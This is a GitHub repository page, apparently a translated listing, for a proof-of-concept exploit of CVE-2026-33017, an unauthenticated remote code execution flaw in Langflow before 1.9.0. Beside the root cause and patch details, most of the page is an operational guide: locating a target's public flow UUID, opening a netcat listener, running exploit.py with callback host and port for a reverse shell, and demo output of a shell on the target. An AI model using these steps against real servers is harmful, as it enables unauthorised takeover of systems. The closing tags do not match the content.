Dynamo2k1/CVE-2026-33017

GitHub: Dynamo2k1/CVE-2026-33017

该工具是针对 Langflow 平台 CVE-2026-33017 未授权远程代码执行漏洞的概念验证利用脚本,通过注入恶意 Python 组件实现服务器端代码执行。

Stars: 0 | Forks: 0

# CVE-2026-33017 — Langflow 未授权远程代码执行 **作者:** [dynamo2k1](https://github.com/dynamo2k1) **严重性:** 严重 **CVSSv3:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) ## 概述 **CVE-2026-33017** 是 [Langflow](https://github.com/langflow-ai/langflow)(一个用于可视化构建 LLM 应用和 AI 工作流的开源平台)中一个严重的未授权远程代码执行漏洞。 易受攻击的 endpoint `build_public_tmp` 在无需身份验证的情况下接受请求体中由攻击者提供的 `data` 字段。这允许攻击者注入一个完全自定义的 flow 定义,其中包含**恶意的 Python Custom Component**,其代码会在构建过程中在服务器上执行。 无需任何凭据。只需要一个有效的公开 flow UUID。 ## 受影响版本 | 状态 | 版本 | |--------|---------| | 易受攻击 | Langflow **< 1.9.0** | | 已修复 | Langflow **1.9.0+** | ## 易受攻击的 Endpoint ``` POST /api/v1/build_public_tmp/{flow_id}/flow ``` 此 endpoint 旨在无需身份验证的情况下构建公开(共享)的 flow。在易受攻击的版本中,它还接受请求体中由攻击者控制的 `data` 字段,该字段被直接传递给服务器端的构建逻辑——包括 Custom Component 中内嵌的任何 Python 代码。 ## 用法 ### 前置条件 ``` pip install requests urllib3 ``` ### 步骤 1 — 查找公开的 Flow UUID 浏览目标 Langflow 实例并寻找共享/公开的 flow。该 UUID 会出现在 URL 中: ``` https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ this is the flow-id ``` ### 步骤 2 — 设置监听器 ``` nc -lvnp 9001 ``` ### 步骤 3 — 发起 Exploit ``` python exploit.py \ --url https://target.com \ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \ --lhost \ --lport 9001 ``` 或者使用内置的交互式监听器(无需单独的 `nc`): ``` python exploit.py \ --url https://target.com \ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \ --lhost \ --lport 9001 \ --listen ``` ### 选项 | 标志 | 描述 | |------|-------------| | `--url` | 目标 Langflow 的基础 URL | | `--flow-id` | 公开的 flow UUID | | `--lhost` | 用于反向 shell 回调的 IP | | `--lport` | 监听端口 | | `--listen` | 使用内置的 shell 处理程序,而不是外部的 `nc` | | `--timeout` | HTTP 请求超时时间(以秒为单位,默认:30) | ## 演示 ``` [*] Target: https://target.com/api/v1/build_public_tmp//flow [*] Callback: 10.10.15.28:9001 [*] HTTP 200 [!] SHELL ESTABLISHED FROM 10.x.x.x:36522 www-data@target:/var/lib/langflow$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## 工作原理 1. 攻击者识别出公开的 Langflow flow UUID(在 playground URL 中可见)。 2. 精心构造的 POST 请求注入了一个在模块级别包含 Python 代码的恶意 Custom Component。 3. 在构建阶段,Langflow 会编译该组件代码——在任何方法被调用之前执行了攻击者的 payload。 4. 该代码向攻击者的监听器生成一个反向 shell。 **根本原因:** `build_public_tmp` 信任了请求体中的 `data` 字段,而不是仅使用服务器端存储的 flow 定义。 **补丁:** 在 Langflow 1.9.0 中,`data` 参数已从 `build_public_tmp` 中移除。无法再通过此 endpoint 注入外部 flow 定义。 补丁提交:[`73b6612`](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0) ## 参考 - [GitHub 安全公告 — GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx) - [NVD — CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017) - [补丁提交](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0) ## 免责声明 此 PoC 仅用于教育和授权的安全研究目的。请仅对您拥有或获得明确书面许可测试的系统使用。
标签:Langflow, Python, XXE攻击, 威胁模拟, 无后门, 编程工具, 远程代码执行, 逆向工具